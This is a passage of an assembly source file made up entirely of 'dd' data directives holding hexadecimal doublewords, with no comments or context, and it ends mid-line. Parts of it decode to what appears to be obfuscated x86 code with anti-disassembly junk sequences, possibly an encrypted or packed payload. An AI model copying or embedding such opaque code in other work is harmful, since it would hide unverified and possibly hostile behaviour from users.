dd 4996DEC6h, 0CE86Dh, 0B8950000h, 0A205AEC6h, 5AB2F7F7h dd 13E84799h, 67000000h, 4416DAE8h, 416CE41Ah, 0A5BF7397h dd 2245D6E7h, 0BF0F0FE8h, 895A5ADAh, 1E8B0F31h, 0E8000000h dd 12h, 0A331B11h, 4081643Fh, 4BC42A5h, 9CA7F41h, 0B58993FFh dd 7E02E61h, 4E9835Bh, 1B1858Bh, 0EF8107E0h, 1, 0FF7C850Fh dd 0C881FFFFh, 56800BDh, 6E8h, 0BEFFFE00h, 8BCD9A26h, 0E02FDDBDh dd 81F85B07h, 5B3DC3h, 0D858B00h, 0B907E01Eh, 16B0h, 0FE19501h dd 338B07E0h, 8DEBF281h, 0EE8110E1h, 0B6B3CEh, 0EE815F52h dd 50C47C9Fh, 0F6810AB0h, 5BEED365h, 0C8B0Fh, 840F0000h dd 6, 2D2D8509h, 338907E0h, 9E9h, 0D0AE2B00h, 0DABD350h dd 0EB835E90h, 6870F04h, 89000000h, 0E01A1DBDh, 850F4907h dd 0FFFFFFAAh, 0CB8FC881h, 8D8D4329h, 7E6F057h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0BAC35747h, 0F3213FEDh dd 0D5BD8957h, 8907E020h, 0E018158Dh, 50006A07h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 148A11BAh, 9A1530Dh, 5E86E84h, 0CE000000h, 83E9116Bh dd 8D8958FCh, 7E023B9h, 204985C7h, 6BF007E0h, 0BD290000h dd 7E01D49h, 22C585C7h, 7E0h, 81660000h, 813A0DC2h, 1FFCE6C0h dd 0C5B5FF53h, 6A07E023h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 31E8C353h, 0AEE76D5Dh dd 0C1858954h, 0FF07E001h, 0E0209195h, 50006A07h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0C411CCF6h, 3BB39A49h, 95FF006Ah, 7E018A9h, 1CEBC08Bh dd 74D8878Ah, 28F364A1h, 17EEE3CCh, 0DA0120A9h, 67EF0785h dd 0A05AC353h, 0DC86DEDAh, 0F1508D8Dh, 6A07E6h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 8B6422C3h, 0E0153D9Dh, 13E907h, 233B0000h, 25AC0F00h dd 7DFA9DC4h, 12547894h, 67E79C67h, 158D89DBh, 6A07E018h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 52B0C356h, 8BE01C53h, 0E0341D95h, 0EE907h dd 0FF820000h, 0FAE55012h, 5ED4D2F5h, 608722CAh, 204985C7h dd 726007E0h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0F27ABC3h, 58Ch, 0D3816600h, 85C7D7FBh dd 7E022C5h, 0 dd 85DB5FFh, 0CF8007E0h, 9195FF79h, 8B07E020h, 0E023019Dh dd 0FF006A07h, 0E018A995h, 0EBC08B07h, 6F09DA1Fh, 0C106DBF8h dd 8C2433Ah, 0F86549B9h, 0B503811h, 1CA13CCEh, 0C7859AEEh dd 8AD66222h, 0F21A8D8Dh, 0B70F07E6h, 158D89DBh, 6A07E018h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 689DC357h, 0EC6290A1h, 85C7F811h, 7E02049h dd 7428h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 6AC35646h, 0FCF859ECh, 0C7D9BF0Fh, 0E022C585h dd 7, 5E900h, 0D8E00000h, 0FF383C77h, 0E00F59B5h, 13E907h dd 0CE4D0000h, 0F54E830Eh, 22D4C6CEh, 208DF821h, 44FF2405h dd 9195FFFDh, 8B07E020h, 0DB589F1h, 6A07E005h, 0A995FF00h dd 8B07E018h, 1219EBC0h, 0CB7E636Ah, 9A6503BAh, 2240884Ah dd 3FE76415h, 878F4A7Bh, 8093CF87h, 0BE8h, 0EF368200h dd 0F0DEBC1Ch, 0B3E37Fh, 187D8D89h, 0B05E07E0h, 78C68132h dd 0B500005Ah, 0B8DB3383h, 67B3F2FBh, 503334FFh, 5840Fh dd 5FB80000h, 58430334h, 0B1958B5Fh, 8107E030h, 95ACEF7h dd 6CEC8079h, 11F2EF81h, 0F38A319Dh, 0DC13C781h, 0B70F5E61h dd 8B6657D6h, 1E048FC3h, 1880Fh, 89F80000h, 0E03321B5h dd 3EB8307h, 1081858Bh, 894B07E0h, 0E01D099Dh, 34FB8107h dd 0FFFFFA6h, 1B85h, 9E900h, 0FF7A0000h, 0BAAF13DAh, 0E9BBB19Fh dd 19h, 0B2C91D24h, 0F1B0DCCh, 13CA8166h, 0FF7AE9C0h, 0A2EAFFFFh dd 0C6C8CF36h, 0C28D8DBEh, 0F07E6F3h, 681h, 0F58D2900h dd 8907E015h, 0E018158Dh, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0E2B69EE3h dd 0F78B66B1h, 204985C7h, 60A007E0h, 0BD090000h, 7E01E79h dd 22C585C7h, 7E0h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0D9BD2EC3h, 57148B9h dd 663FEEFBh, 0B5FFD38Bh, 7E006D5h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 67C35242h, 2C2AB227h, 0FFBDB7E7h dd 0E0209195h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 709E15FCh, 6A96288Dh dd 0A995FF00h, 8B07E018h, 1769EBC0h, 7A3F60F6h, 0C9F9FA8h dd 0D0F64717h, 6DD4B708h, 9187C9F8h, 87FC9A7Fh, 8002FEAAh dd 7F02F7C7h, 0CB0C33C5h, 0E6CABA60h, 88467B3Bh, 7B4077ECh dd 0D9A7FDD5h, 7ADB0CA3h, 0A725E15Ch, 0D3AD3B1h, 113C9EA9h dd 6EF9FC94h, 5693C59Fh, 9895E7AAh, 0AF677B7Ah, 30F16BEEh dd 0CF0D58BFh, 92F42299h, 3FA6FF36h, 4696EE60h, 10E8h dd 9CA68A00h, 348C24F4h, 414EB7E2h, 1C35C661h, 0D3816622h dd 8B5FA2B1h, 0E0059D8Dh, 8BC78107h, 0E900006Fh, 11h, 0F16AD8FDh dd 0C69BA0E1h, 3C3E42DFh, 75E3E931h, 1BBFBA70h, 8BF90000h dd 0B98D8B07h, 8107E02Ah, 93776FE8h, 0B8B96659h, 14F0818Bh dd 0F5214532h, 0A550E881h, 8B66427Ch, 9D8950CAh, 7E01A59h dd 8D89078Fh, 7E01B99h, 0E904EF83h, 0Ah, 40045D3Eh, 0E9116BCEh dd 0EA819383h, 1, 0FFB1850Fh, 0D381FFFFh, 6837F919h, 8E8h dd 677F5400h, 78DA42A3h, 0BE82Ah, 16820000h, 832FA93Ch dd 648F1139h, 0DD9589D1h, 5907E033h, 958B605Eh, 7E020F1h dd 8161CE8Bh, 66FDC6h, 0A58D8900h, 0B807E028h, 198Bh, 8E9h dd 38B03200h, 7E53F4E9h, 891E8B3Bh, 0E012318Dh, 0E7C38107h dd 0B3D3F58h, 0E026E195h, 7DEB8107h, 66663FF3h, 0F381FA8Bh dd 16996FFFh, 8B53BDB2h, 0E9068FD6h, 0Eh, 0CE4BA12h, 0B1AB5AAh dd 0EBFABB88h, 0EE8354D3h, 0DD958B03h, 4E07E01Bh, 0F48F18Ah dd 2185h, 0AE900h, 4B40000h, 899326F9h, 0E28E2120h, 29E9h dd 0E9C51D00h, 3A754D3Fh, 0CB8596DFh, 95331D1Bh, 7E01BD5h dd 0FFFF84E9h, 0B8A180FFh, 4A1D1732h, 0DA9DE491h, 80222DA9h dd 0BE87527h, 3C000000h, 844FC0E9h, 83DD7464h, 95B54E7h dd 0E004ED9Dh, 0F4C38107h, 68000064h, 0 dd 3159FE8Bh, 0E01C759Dh, 0B148B07h, 114EEA81h, 85311D37h dd 7E02A8Dh, 0A5C6F281h, 0B70F43E5h, 54EA81F2h, 8937759Fh dd 0E007559Dh, 0B148907h, 0FF98B66h, 384h, 0FEBF0F00h dd 0F03E983h, 68Dh, 6DB58900h, 4907E030h, 0F981F18Bh, 0FFFF9BBCh dd 25850Fh, 7E80000h, 90000000h, 0EEDC47DDh, 0B5896D5Ah dd 7E004F5h, 25E958h, 7F9A0000h, 559D016Dh, 0D4BA621Eh dd 0E9E2C026h, 0FFFFFF85h, 0D976FCDBh, 0D200304Ch, 84DDA731h dd 776EC1F2h, 0E892FF02h, 11h, 5370A497h, 2C55FBBAh, 33A86EF8h dd 0B7DD0061h, 10E913h, 181C0000h, 0AEF3A229h, 354CAC48h dd 583351DAh, 8B5960A1h, 0E02A5995h, 0DFC18107h, 9000061h dd 0E01B3D85h, 9F63307h, 0E02F69BDh, 0E34FF07h, 55F3C081h dd 665F6254h, 0EF81C18Bh, 21BB5DBCh, 16898D89h, 0EF8107E0h dd 5D6CB75Ah, 1E819D29h, 0EF8107E0h, 6A848483h, 9FCA8166h dd 313C899Bh, 6800Fh, 95310000h, 7E02325h, 25FD8D09h, 0EE8307E0h dd 8154B404h, 0FF9EE0FEh, 1B850FFFh, 89000000h, 0E010E18Dh dd 21E907h, 6A470000h, 9691946h, 0C9D288DCh, 0B2D69A19h dd 0BD89F4E3h, 7E015B5h, 0FFFF84E9h, 276FFEFFh, 42C541CAh dd 6A234ACh, 7AA27C24h, 2B3BB37Dh, 2181D020h, 9083B42Ah dd 0DD6F3025h, 0A7863025h, 0F2AED198h, 8D893022h, 848630ADh dd 43EB8DA6h, 2E8637C5h, 90864BA1h, 1103F625h, 6A81D022h dd 784A9B4Dh, 2DB2B1D6h, 0DFAE2BCEh, 6A6785DAh, 0A40B37C5h dd 97654FCDh, 0B80DE0DAh, 23DFB5E3h, 0FAC837C5h, 9863021h dd 2CC4E765h, 66C2BB75h, 0A886BB21h, 0C8821461h, 49EB85DAh dd 0A10B37C5h, 15654FCDh, 0F10DE0DAh, 8486209Ch, 428ED925h dd 2E203025h, 90863EA0h, 818D7925h, 0DB76B52Ah, 1F6FCFDAh dd 84863025h, 64C8D8B8h, 42838822h, 0C2793025h, 67A58DA8h dd 0C50B37C3h, 2360C7CFh, 22A3229Dh, 42491BA3h, 6A234ACh dd 7AA27C24h, 2B3BB37Dh, 2181D020h, 9083B42Ah, 0DD6F3025h dd 0A7863025h, 0E983D198h, 0B9A4F305h, 22h, 0F89B8D8Dh dd 89FC07E6h, 0E018158Dh, 4985C707h, 7E020h, 0F00006Bh dd 985h, 3830F00h, 66000000h, 85C7F88Bh, 7E022C5h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 6BC35545h dd 0B5FF46F7h, 7E01E49h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 4C35343h, 8F0FA6BBh, 0 dd 209195FFh, 0BD8907E0h, 7E0251Dh, 95FF006Ah, 7E018A9h dd 0DEBC08Bh, 2E300A7h, 0E5054333h, 0BD7C795Dh, 5E9EFh dd 3A1D0000h, 0E9003637h, 86Bh, 2B45FFE7h, 0A0BA7259h dd 1731E9CEh, 8AA45C45h, 21CD6B8h, 2D0F04ADh, 0A3875973h dd 1AFDCFE9h, 90764862h, 0F1DCBCD6h, 0D3A8E3CEh, 8F299B21h dd 0BAA0CCE2h, 2FE9CF29h, 827E915h, 0F6D8B2F1h, 4FF3363Ch dd 0C92E5ABEh, 91737176h, 4E6C0D7h, 484E454Ah, 742E14E6h dd 0D18B716Fh, 53164CCh, 74976780h, 21DA833Dh, 2EE2E639h dd 3EB3B90Ch, 0F7B197E1h, 8FC3FFDDh, 7FEC53D4h, 36000000h dd 8A8F492Bh, 0ECC5E827h, 9229BAA0h, 0EFA98D3Fh, 0F3EDF3EAh dd 0AF675011h, 308B3AAh, 61661E05h, 0C2C78163h, 7AC51A4Fh dd 9B8155Eh, 0A10AA7CAh, 217429BAh, 853F211Bh, 0E6518D6Bh dd 0C59F5434h, 9B1F25DFh, 36h, 8F492BE5h, 0A16B438Ah, 503229BAh dd 0AD939196h, 7BCEEF3h, 0ED5E67AAh, 0AA644690h, 518E90h dd 0DE70000h, 0CB836829h, 1F24CFC6h, 2EF310CFh, 0A651D04Eh dd 492B7EA0h, 0BE4C788Fh, 0BD0B0E6h, 2D74C1C7h, 29BA9F82h dd 7A7F391Dh, 0DBE09A7Ch, 8CDE3368h, 0F4EBF0AAh, 51AE6349h dd 546B2507h, 9FBFF215h, 0F8B729BAh, 0BA9FDCD5h, 0A44FA229h dd 0D1423C9Eh, 0B6D9F04Fh, 2E5A9108h, 46E30F4Eh, 1CACE82Ch dd 43793833h, 0A2C521DAh, 21DA440Fh, 0EA3D1467h, 6D72C5E4h dd 0B8D28A6Fh, 444901E6h, 0F00724ECh, 7A4785CDh, 0BFA1FB26h dd 5F555A05h, 0A68BDD32h, 94ABD7EEh, 0C2BFAA7Ah, 9062C4CAh dd 0A7EEF3ABh, 29BA06FAh, 1365BA7Bh, 625C762Eh, 3E54BD1h dd 61464449h, 7953FEA9h, 0B59B75D8h, 0F0C1E4FBh, 8629BAA0h dd 2B0B2D33h, 0C6B18B45h, 4A500AECh, 0F31FEEE8h, 415734DEh dd 0DF94A715h, 11C3BF3Ch, 746B7028h, 26EA6Eh, 0D1340000h dd 0C612EC4Bh, 8C254887h, 0F229BAA0h, 5B56999Fh, 2329BAA1h dd 0C4C6F6D0h, 0B48E462Bh, 2AFBA2E8h, 91000000h, 12EC4BD1h dd 0F306ECC6h, 0C1C0658Eh, 272DD8BFh, 320CA5C8h, 0AA7D29BAh dd 0BA322A87h, 56015429h, 2BC4C67Ch, 0E8B48E46h, 8B452BA2h dd 20003F86h, 0F12629BEh, 0AA644A9Ch, 22DCBE90h, 833D1F1Dh dd 70CD167Eh, 708A4426h, 306B5492h, 397F54h, 2BC90000h dd 2E868B45h, 542E45E2h, 0B9B0B56Dh, 0DD3154B3h, 5B2E5A8Bh dd 61661E01h, 47BABF6Ah, 0B36B4E28h, 7438799Ch, 0EB3E21DAh dd 641370E5h, 0E5EAA48Ah, 8EEE8EEh, 2B3A344Eh, 2E868B45h dd 542E45E2h, 0BAB1B670h, 3C1655B4h, 0A39A9F57h, 6A6B3C9Fh dd 242A13DFh, 5A5C21E1h, 0AAC4172Eh, 0AFBB4773h, 55DC42B3h dd 0B56F554Fh, 0FD205F9Eh, 21DA0BB4h, 357C77CAh, 4121DA0Ch dd 549BE8EEh, 0A5E8363Ch, 0DF1CBEAh, 7BD84D53h, 77914B31h dd 5BFA5h, 0A4BB78A8h, 272DE5CAh, 3F5D89C8h, 0E61E67F7h dd 0F6FBB39Ah, 0B4E54FFh, 0AAC89A67h, 65CE591h, 4D22FA06h dd 775188A2h, 36EED392h, 898F3A31h, 0EC4BD167h, 2BB2D812h dd 0C3B18B45h, 0DEF31FC9h, 501C5734h, 66000000h, 2E54BD1h dd 374E454Ah, 0BAA09D14h, 0DB86D929h, 0EA3C601h, 6829BAA1h dd 3F24FE15h, 0C65F8187h, 0C00D5B87h, 0ABE98C21h, 0BA512988h dd 57025529h, 462B2F51h, 65E8B48Eh, 0BED96C39h, 274A5AE3h dd 29B9F58Ah, 0F0F6A1F4h, 50FBCEh, 0D1910000h, 96D5EC4Bh dd 211CD6BCh, 29BAA090h, 0A12E83A6h, 0F54829BAh, 753C5F1Eh dd 129BAA0h, 0DBFD03AEh, 4B03ECC6h, 0EA494F46h, 0BAA0EAC7h dd 977A5429h, 5EC5D9DFh, 2BC4C684h, 0B2FF2246h, 0CC29BAA0h dd 0C6F4CE79h, 5EC64C9Ah, 0BAC0CB3Dh, 452B377Dh, 0E423868Bh dd 706B230Ah, 29BAA141h, 0A1E4EA3Dh, 29BE1F9Eh, 0F03A97CCh dd 6436500Ah, 0C5C3C882h, 0BC2429E3h, 8A274A89h, 0B429B61Fh dd 0B6202091h, 2C035629h, 15ED3D9h, 11BD5B7h, 306BE723h dd 191054h, 2B5A0000h, 2E868B45h, 0B2E45E2h, 2E5AA48Fh dd 1E9196E9h, 5C4294E9h, 2B8E88A2h, 9A748B45h, 0A7F4FAB4h dd 4B62C14Fh, 5ABD1228h, 0FF196C2Eh, 0F9AC605h, 4C1C21FBh dd 0C74DA1A7h, 9AC68E68h, 0EE58B826h, 9EEBF1C3h, 0AD87C678h dd 9B1611CBh, 0E329BAA0h, 0AA908A90h, 8CC316F0h, 1116D0B2h dd 1FF2141Ah, 5734DEF3h, 251Ch, 59FD2900h, 6B5971FEh, 0D192B4BAh dd 0C612EC4Bh, 0BAA10EA3h, 3B156829h, 462BC4C6h, 0A2E8B48Eh dd 52FBh, 4BD19100h, 0A3C612ECh, 29BAA10Eh, 0EBC6E928h dd 9329BAA0h, 53263A40h, 0BAA08130h, 8CD0D029h, 90EA0D6Eh dd 0A4BB66B9h, 2429E1CAh, 0C605272Dh, 454B03ECh, 462BE4E6h dd 65E8B48Eh, 6184A88Bh, 29BAA150h, 2328D326h, 0A1149DC0h dd 176A29BAh, 2B44666Ch, 3F868B45h, 29BE2000h, 4A9CF126h dd 961B3E64h, 0E029B61Fh, 0F6C8E28Dh, 0EE3BFD10h, 1A56A613h dd 82797E38h, 0C4272CD7h, 9B4F6285h, 0C4E729B6h, 29B69AEDh dd 55F3689h, 6D646923h, 0B868BCC2h, 0E941647Bh, 9F2E567Bh dd 7AF4BDE0h, 378A21D6h, 0D178728Ch, 0C612EC4Bh, 0A14D6487h dd 0D62929BAh, 0F42083D0h, 2C713D5Fh, 4F717779h, 0B18B452Bh dd 0ECC6C9C3h, 454B5109h, 5734DE09h, 5342h, 92754F00h dd 69327181h, 0E792BE71h, 0C3E5EBE2h, 5D804BD1h, 29BAA154h dd 0DCB36D4Fh, 3CF4D789h, 0BB954037h, 0A10EA3C6h, 156829BAh dd 6487C63Bh, 29BAA14Dh, 71D0D629h, 8E462B6Fh, 8B65E8B4h dd 0F4EBF0A8h, 0A0F7BADDh, 2C7F29BAh, 42FB0426h, 91000000h dd 9B934BD1h, 0C94AA3E1h, 0C64822CDh, 0BAA10EA3h, 694E2829h dd 0AFB5ACB1h, 0C65A349Bh, 0C0B95B87h, 57162FE5h, 5973E6DBh dd 0D13BEC0h, 809AC6EBh, 1F2AAAE9h, 1CD4BB6Dh, 201A2017h dd 0E8A9833Bh, 8B452BA2h, 20003F86h, 72629BEh, 124482Dh dd 29B61FB0h, 0C3C873C6h, 0FC51C6CCh, 82B1C4AAh, 75B1BCEEh dd 0CF80F4F8h, 953402BEh, 0BF99D0EAh, 211B21DBh, 0BFF2153Bh dd 0B729B5D3h, 5CB4B964h, 3D6077B4h, 2E55C525h, 0DEC9EF1Bh dd 151B92E5h, 839DF00Fh, 0EC4BD189h, 2BB2D812h, 0C3B18B45h dd 0DEF31FC9h, 6A1C5734h, 66000000h, 0D5EC4BD1h, 585C14FBh dd 7224726Ah, 0DDFF0593h, 0D95B87C6h, 16B685F3h, 8EF1FBB0h dd 0F3FC908Ah, 2E07AAEDh, 1C6F29BAh, 2BC4C642h, 0B2FF2246h dd 0CC29BAA0h, 0E8F4CE79h, 0AE032665h, 0C829BAA0h, 0F4C37175h dd 0C9085EFBh, 87C6A1C3h, 0BAA14D64h, 0BFD62929h, 0BAA1159Ch dd 80E6129h, 30DEh, 765D3700h, 0BCC2B9BEh, 0EC4BD19Ah dd 0EA3C612h, 7329BAA1h, 371BF50Ch, 0CF81787Dh, 342B30E8h dd 0C4C60C2Eh, 7035462Bh, 0F279BAE9h, 0E8B7913Ch, 8B452BA2h dd 45E22E86h, 0E2C3EF2Eh, 0B42E5CA9h, 7D139E99h, 186B29BAh dd 9A74B312h, 0D83EA2B3h, 18578170h, 6B71686Dh, 5AA32628h dd 9376502Eh, 8B4529DBh, 6A898F86h, 4FD1FD17h, 49B6D9F0h dd 0D1267C54h, 957B797Eh, 6D9E7382h, 0BFC33550h, 49D8A36Eh dd 9BB560CCh, 9ED0E3C9h, 671FA8B2h, 0ABF2F7A2h, 1863BC7Fh dd 0CD1F74A9h, 0EA162DE7h, 0D6E015CEh, 35EDD2BBh, 888E3930h dd 0B46E5426h, 0EA0D4CAFh, 0F7E3E6C7h, 3237EFD4h, 0B11643Bh dd 6B702811h, 3CEB4875h, 0E6D7DAFDh, 4C9FF7E3h, 0AC664C46h dd 20DAC092h, 3ED1Bh, 24830000h, 89432B66h, 0E6A08684h dd 4800E3E1h, 0A7614543h, 8C2A4A2h, 69230503h, 0C57D6664h dd 25DDC2C0h, 833B2220h, 0EC816D7Eh, 4, 89240C89h, 4C181E1h dd 83000000h, 0C8704E9h, 89515C24h, 4C181E1h, 83000000h dd 0C8704E9h, 3C895C24h, 15336824h, 34890000h, 7DBA5224h dd 0C1542533h, 0D2F702EAh, 7C76F281h, 814A68D6h, 0C62967C2h dd 5AD78985h, 24348B54h, 4C481h, 0EC810000h, 4, 8F243C89h dd 348B0846h, 0E0895024h, 405h, 40500h, 4870000h, 3C8B5C24h dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 7FB9E95Ch dd 0FEC9FFF9h, 0B83280A7h, 7E70092h, 0E0FFC503h, 1DEAC232h dd 7DA0850Ah, 6D58AFB8h, 6F263455h, 2E76534Bh, 7C25407Ah dd 34694B2Ch, 29A7AA97h, 799B2AB4h, 93C8B5Eh, 2D94B92Ah dd 516A97E0h, 4DBF2BF2h, 3F7DEA25h, 68A7028Ah, 5C1837A0h dd 2410736Ah, 23831E29h, 6B9B584Ch, 8C27DE0h, 10E8h, 2057A700h dd 38F041AFh, 98DD53A9h, 2C1EB732h, 0F38B667Bh, 11C3815Bh dd 0E9000073h, 0Ch, 76FEB642h, 877A4C9Bh, 0E498FF48h, 0B9h dd 2A67BE00h, 48B5B99h, 40DF810Bh, 817A920Dh, 1F882DC0h dd 0EF81660Ah, 0E8819F1Ch, 457D8F2Fh, 5A8CDE81h, 0F081386Dh dd 4E88E187h, 14E9h, 0F906C300h, 7DC40500h, 83BB8F4Eh dd 38AAF125h, 779FD083h, 8166507Dh, 8F477CCEh, 24B20B04h dd 0ADC28166h, 0F8E9819Eh, 0E9297A97h, 0Fh, 0B8483A24h dd 0F4AC5083h, 41DAC5B4h, 81D377F5h, 7A97F4C1h, 0D2816629h dd 0F98159CDh, 0FFFF8DF4h, 2B850Fh, 0DE90000h, 34000000h dd 807FD7CEh, 1A8F279Ah, 3495DB3Dh, 3DE9h, 0F543E300h dd 4CD19BA1h, 3E0811A8h, 66C6C02Ah, 4B03A0F9h, 12E838h dd 7F1B0000h, 0F6E6924h, 2F4736AAh, 6759A511h, 8AE5202Dh dd 0FF38E95Ah, 91FFFFFFh, 2A928047h, 0A672B00Ch, 8D8DA774h dd 7E70326h, 66F08B66h, 0C385EB81h, 18158D89h, 21B307E0h dd 204985C7h, 5BA807E0h, 0B8660000h, 0D38A80C1h, 22C585C7h dd 7E0h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 0DE82EC3h, 64000000h, 0F28EB1E8h dd 66414DD3h, 57034C72h, 5F515EF5h, 7B9B5FFh, 0C78107E0h dd 229E9EE1h, 209195FFh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 6AF52EC3h, 0A995FF00h dd 8B07E018h, 6C0BEBC0h, 27CB2127h, 32849D96h, 14E8E00Bh dd 77000000h, 8936A40Dh, 0C2474ADh, 0B2985D6Ah, 4A8804E5h dd 0F3DC91Eh, 183h, 895FF500h, 0E016B595h, 0D8C78107h dd 9000075h, 0E007798Dh, 8BC02B07h, 8D09070Ch, 7E01FE5h dd 0FB78C181h, 8D895D8Dh, 7E01B9Dh, 0FF5EE981h, 0BA666756h dd 0F181C6E8h, 59279506h, 57D9589h, 0C8907E0h, 39858907h dd 307E010h, 0E01101B5h, 2E88307h, 48E0Fh, 0BE660000h dd 48488431h, 11E8h, 0C8B43900h, 0E2636E35h, 0A31B611Ch dd 0F03309D6h, 815E637Ah, 0FF8AECF8h, 11850FFFh, 8B000000h dd 0E010E1B5h, 21E907h, 64B0000h, 5CB57CB1h, 341DB589h dd 78E907E0h, 0BEFFFFFFh, 0E165B8BAh, 10584Ch, 0CBFE05F2h dd 8DE6D53Ah, 0E704998Dh, 0C1BF0F07h, 18158D89h, 816607E0h dd 8B9C86D3h, 0E0119D95h, 4985C707h, 9407E020h, 0E900005Bh dd 8, 5D3FF9DFh, 0ECDDBF1Bh, 22C585C7h, 7E0h, 0B70F0000h dd 0FD2DBFD3h, 0B5FF2A2Dh, 7E004A9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0A1C35545h, 1BD4A5DAh, 9E90E94h dd 0E000000h, 3C260829h, 14671AD9h, 66F28B66h, 0B29DDF81h dd 209195FFh, 9D8B07E0h, 7E0048Dh, 6AC58Ah, 18A995FFh dd 0C08B07E0h, 5D5F5EEBh, 403FC6FBh, 0CCC67673h, 964CF741h dd 155C6E64h, 6A23857Eh, 0FB1503AAh, 9DF3275Eh, 34C82D1Fh dd 5B968DBEh, 56DFFA47h, 5274739Eh, 6EA2B22Fh, 0E2019892h dd 0BF804A82h, 0F90882E8h, 0D2E04AE2h, 8E19A5D1h, 0F39B5B8Ah dd 0B35DA7B1h, 0D6C36FDAh, 0E7EC1869h, 57B222F7h, 0A5EE4105h dd 5D98D8Dh, 0C68B07E7h, 18158D89h, 8D0107E0h, 7E02DA9h dd 204985C7h, 6A6007E0h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 5A7736C3h, 2D1A5F6Ch dd 958BEE55h, 7E0074Dh, 22C585C7h, 7E0h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 60578CC3h, 0B70FE5B2h, 0BB6661DEh, 0B5FF2E72h, 7E006D5h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0C9C35646h dd 66B375BCh, 898D4CB8h, 0E0160D9Dh, 9195FF07h, 6A07E020h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 7A0CC355h, 6E7BE347h, 0B70F5089h, 6A5EDBh dd 18A995FFh, 0C08B07E0h, 163469EBh, 0EFEFE6Eh, 0CB756473h dd 45A1B72Bh, 404A42B3h, 16E5B4D4h, 79D2987Dh, 8967C5BBh dd 725DB46Ch, 0C36345D1h, 7776A2AAh, 6935551Ah, 0B4CE93FDh dd 0FB7F927h, 7DEEA9FDh, 0E852CFE0h, 4FF08E1Fh, 6BA8B6B4h dd 0E887DA5Bh, 0DCBA1AFAh, 0CAE837D3h, 4EDFE28Ch, 0F728B4D9h dd 290F435Dh, 25D5F3FFh, 0F6726013h, 0E8DCB955h, 14h, 14E2AB72h dd 703FB6E5h, 0D8C542E4h, 611DCCA2h, 0A7C5FBCAh, 1E058589h dd 0BE5A07E0h, 5DEDB617h, 726DC281h, 9D010000h, 7E02435h dd 8060FF33h, 295313E6h, 0E02AD995h, 0FF615A07h, 0E8601734h dd 0Eh, 4A3E2865h, 605CAB74h, 0EF1CF025h, 5BFCE162h, 6850Fh dd 800F0000h, 0 dd 85315B61h, 7E0344Dh, 2B17C381h, 0F602C2Eh, 383h, 0F0BF0F00h dd 2B018D89h, 816107E0h, 0C5DCC2F3h, 58B0F51h, 50000000h dd 5959D480h, 0AB94C381h, 1C8968D3h, 81B58B3Ah, 8B07E000h dd 2CEF81CEh, 89796B1Ah, 0E0265985h, 28C78107h, 0B8796B1Ah dd 304278C7h, 8E70FF81h, 850FFFFFh, 0Ch, 16E95CB1h, 1B000000h dd 6CEBBDE0h, 0E3CC99B8h, 0FF61E94Dh, 0EEC0FFFFh, 4898E336h dd 0CE966h, 7C560000h, 1414h, 0 dd 0F1E90000h, 6E000004h, 0E0B2CC86h, 552741F9h, 0CC9EB870h dd 3F112BE3h, 3489A35Dh, 0FAB4968Bh, 702A0EE0h, 0E9A18456h dd 5D17FDCFh, 55786343h, 21D39A5Ch, 2B16B022h, 23868B45h dd 0A7AC6449h, 0CEB0AAB0h, 4123FD14h, 69E3DF2Eh, 23CE9D45h dd 8C75271Eh, 356CCED4h, 0B8BE765Bh, 191ED8BEh, 767B351Bh dd 0D4D99178h, 85D72C61h, 94CBE59Fh, 62D4868h, 0D0D67453h dd 213BF3D6h, 92D10EAh, 0B9D3CBE6h, 0B560B329h, 0B9B3B9B0h dd 0B6191ED6h, 0D45D5477h, 0C61929B9h, 28E2C6C0h, 0A3002D23h dd 0A4BE7659h, 492BECD2h, 0E8938A8Fh, 0D4129CE3h, 0A28929B9h dd 0FEE7E5EAh, 5A0F4146h, 6091BA05h, 2771AD03h, 749A5434h dd 0E4000000h, 868B452Bh, 0BAA1703Fh, 0BF99B429h, 7B3519D8h dd 0F855CAD0h, 4B300A49h, 0A1199893h, 126529BAh, 67055D0Eh dd 1E24B3A3h, 3457EA18h, 10554h, 2B4F0000h, 0E8A08544h dd 533A383Dh, 0C3AA849Bh, 90F060Bh, 1DD5BEBCh, 1370A518h dd 0F5D1E2C9h, 362B755Ah, 0E5B7D17Ch, 542E45FFh, 4BADB36Bh dd 0FFB2D514h, 3729B9D1h, 0B9D19D14h, 0AF86D929h, 2B34565Ch dd 0EDA58849h, 9BDA3D42h, 0BAA13978h, 0CD856A29h, 0A7FAD1C8h dd 9CC0A7A1h, 0BAA13879h, 0D6DBFE29h, 0A029BAA0h, 7823764Dh dd 6DC20B73h, 4926391Bh, 7FB483A1h, 5C2E48F3h, 0B9B7BC76h dd 0BB171CD4h, 6BA7055Ah, 0C95434E8h, 494E06EFh, 